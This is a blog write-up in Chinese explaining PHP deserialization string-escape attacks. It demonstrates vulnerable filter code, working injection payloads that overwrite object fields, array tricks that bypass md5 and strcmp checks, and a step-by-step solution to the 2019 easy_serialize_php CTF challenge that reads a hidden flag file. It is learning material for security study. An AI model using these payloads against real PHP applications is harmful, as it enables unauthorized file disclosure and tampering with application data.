PHP反序列化字符串逃逸

过滤后字符串增多的:

<?php
class A{
    public $name='xiaoming';    
    public $age=20;    
}

$a=new A();
$a->name=$_GET['name']; 
$b=unserialize(serialize($a));

echo '你好:';
echo $b->name;

echo "<br>";
echo "<br>";
echo "<br>";

echo "你的年龄是:";
echo $b->age;
?>

这里反序列化来的对象 b 的年龄 age 是没有办法更改的,只能起名字。

输入:?name=du1ge

有些升级版的代码,加强了安全性之后,是这样的:

<?php
class A{
    public $name='xiaoming';    
    public $age=20;    
}
function filter($str){
    $filter = '/admin/i';
    return preg_replace($filter,'nohack!',$str);    
}

$a=new A();
$a->name=$_GET['name']; 
$b=unserialize(filter(serialize($a)));

echo '你好:';
echo $b->name;

echo "<br>";
echo "<br>";
echo "<br>";

echo "你的年龄是:";
echo $b->age;
?>

多加了个filter过滤。

这个地方就出现问题了

过滤后的序列化数据里面,admin 被替换成 nohack! ,admin五个字符,而nohack! 七个。

原来的序列化数据:

O:1:”A”:2:{s:4:”name”;s:5:”admin”;s:3:”age”;i:20;}

过滤后的:

O:1:”A”:2:{s:4:”name”;s:5:”nohack!”;s:3:”age”;i:20;}

这个地方会造成反序列化失败,因为多了两个字符出来。

而反序列化是以 ; 为分隔,以 } 为结束。

所以我们可以构造name的值,插入age的序列化数据,因为每一个admin经过过滤后会多出两个字符的空间。

例如:

?name=adminadminadminadminadminadminadminadminadmin";s:3:"age";i:80;}

其中保证原name的值被替换后多出来的字符数要和后面payload字符数相等。

“;s:3:”age”;i:80;} -> 18个字符

这里相当于 name 里面注入 payload ,然后利用过滤机制多出来的字符把我们的 payload 挤出去代替原本的 age 。

所以输入9个admin

var_dump一下此时的序列化数据:

string(127) "O:1:"A":2:{s:4:"name";s:63:"nohack!nohack!nohack!nohack!nohack!nohack!nohack!nohack!nohack!";s:3:"age";i:80;}";s:3:"age";i:20;}"

另外:

有些时候参数会进行限制

比如一些长度限制什么的

一些数组可以绕过的函数:

  1. md5(Array()) = null
  2. sha1(Array()) = null
  3. ereg(pattern,Array()) =null
  4. preg_match(pattern,Array()) = false
  5. strcmp(Array(), “abc”) =null
  6. strpos(Array(),“abc”) = null
  7. strlen(Array()) = null

这个时候就需要用数组绕过参数的限制。

同样的反序列化字符串逃逸,数组和变量只有一点不同,多了一个 “}”

所以同样的要对payload进行字节补充。

?name[]=adminadminadminadminadminadminadminadminadminadmin";}s:3:"age";i:800;}

过滤后字符串变少的:

例题:[安洵杯 2019]easy_serialize_php

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

代码分析:

过滤函数:

字符串含有:php,flag,php5,php4,fl1g则把这几个关键字删除

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

SESSION初始化操作:(这里只是数组,没有读SESSION文件)

if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

变量覆盖:用来覆盖SESSION的

extract($_POST);

对读取文件的参数的操作:可见这里不能设置img_path参数。

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}


最后一行:
echo file_get_contents(base64_decode($userinfo['img']));

最后一段:

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

反序列化过滤后的SESSION数组。

phpinfo有提示。

f=show_image返回反序化后的base64解密的img文件内容。

解题过程:

phpinfo页面:

应该是要读d0g3_f1ag.php这个文件了。

$_SESSION[‘name’]要覆盖。

用extract($_POST)覆盖。

d0g3_f1ag.php base64加密得到:

ZDBnM19mMWFnLnBocA==

构造第一步payload:

s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

因为这里过滤后字符串会减少,这里就利用反序列化也会操作不存在的属性这个特点。

构造payload:

_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

序列化后的数据:

a:2:{s:8:"flagflag";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

过滤后的数据:

a:2:{s:8:"";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

这里细分一下:

第一个:s:8:”

后面跟的其实是:“;s:51:”

刚好把我们无法解决的多出来的这一部分给包括进去了,也就是说

这里s:8:的内容就是:“;s:51:” 这个字符串,所以后面加就是正常的反序列化解析,于是更改了img的值。

得到flag文件:

/d0g3_fllllllag

编码后跟原来那个长度一样,所以直接替换文件路径就可以得到flag了。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇